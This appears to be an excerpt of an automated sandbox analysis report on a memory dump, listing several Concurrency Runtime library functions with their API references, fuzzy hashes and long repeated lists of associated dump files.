Instruction Fuzzy Hash: 4251E1B2926306CFEB15CF99D8907AEB7F4FB48311F24852AC50AEB294D374A900CF50

Function 0090F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0090F2BB

Strings

pEvents, xrefs: 0090F2B3

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 4fc991940f49855ffd11ad132d57992091dbfdf9318e1eaf6cc085ee56fa7d42
Instruction ID: ecbd677bfb263dc70e8957ebfcd66b41d860628d14a996370ab5e6f274fe44ae
Opcode Fuzzy Hash: 4fc991940f49855ffd11ad132d57992091dbfdf9318e1eaf6cc085ee56fa7d42
Instruction Fuzzy Hash: 4481CF32E05219DFCF34DFA8C891BAEB7B9AF84314F144429E411A76C2DB34AE45CB90

Function 009226D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 009226E3

Part of subcall function 009224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00922504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00922704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00922711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0092275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 009227E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 009227F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00922846

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 2a05392ff360af9604a99b29e3570cd21c07e15603ec635da8d05b13330a64d5
Instruction ID: e8c9875ecdd0897c86ab14f52613feffb28191299935b3f2dae9d1efd76cc550
Opcode Fuzzy Hash: 2a05392ff360af9604a99b29e3570cd21c07e15603ec635da8d05b13330a64d5
Instruction Fuzzy Hash: 1D81FF34904269BFDF169F50EA40BFE7BBAAF45304F040098FC412B2AAC7369D65DB61

Function 00922970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00922982

Part of subcall function 009224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00922504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 009229A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 009229B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 009229FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00922AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00922AD8

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 72c3afbda5a426af8eddea018a335d79c5492d0217e277da5d617923953ddacc
Instruction ID: c2c3c2c0a04f4c76b766ea08ef32d53306e4e771e702ad0f7dedbb9fc38c8e42
Opcode Fuzzy Hash: 72c3afbda5a426af8eddea018a335d79c5492d0217e277da5d617923953ddacc
Instruction Fuzzy Hash: EA71DE30900269BFDF15CF54E990BBEBBB9AF86304F044098EC416B2AAC7358D15DB61

Function 00912832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00912876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009128DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00912913

Part of subcall function 009107ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0091080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00912993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009129DB

Part of subcall function 009107C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009107DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009129EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00912A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00912A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00912A7E

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 91ca03930bb5131f58bd84874cc1a72ede6ed41738a3eb8e3b34a81862b44ed7
Instruction ID: 2f3e7b79382a9e12d5f82a19e5dfd2955f5e469d03aa97f54a0480556d3042c9
Opcode Fuzzy Hash: 91ca03930bb5131f58bd84874cc1a72ede6ed41738a3eb8e3b34a81862b44ed7
Instruction Fuzzy Hash: 3D81D031B1461E8BCB18EFA9D9A46EDBBF5BF88301B25402DD445E7282D7346DD1CB90

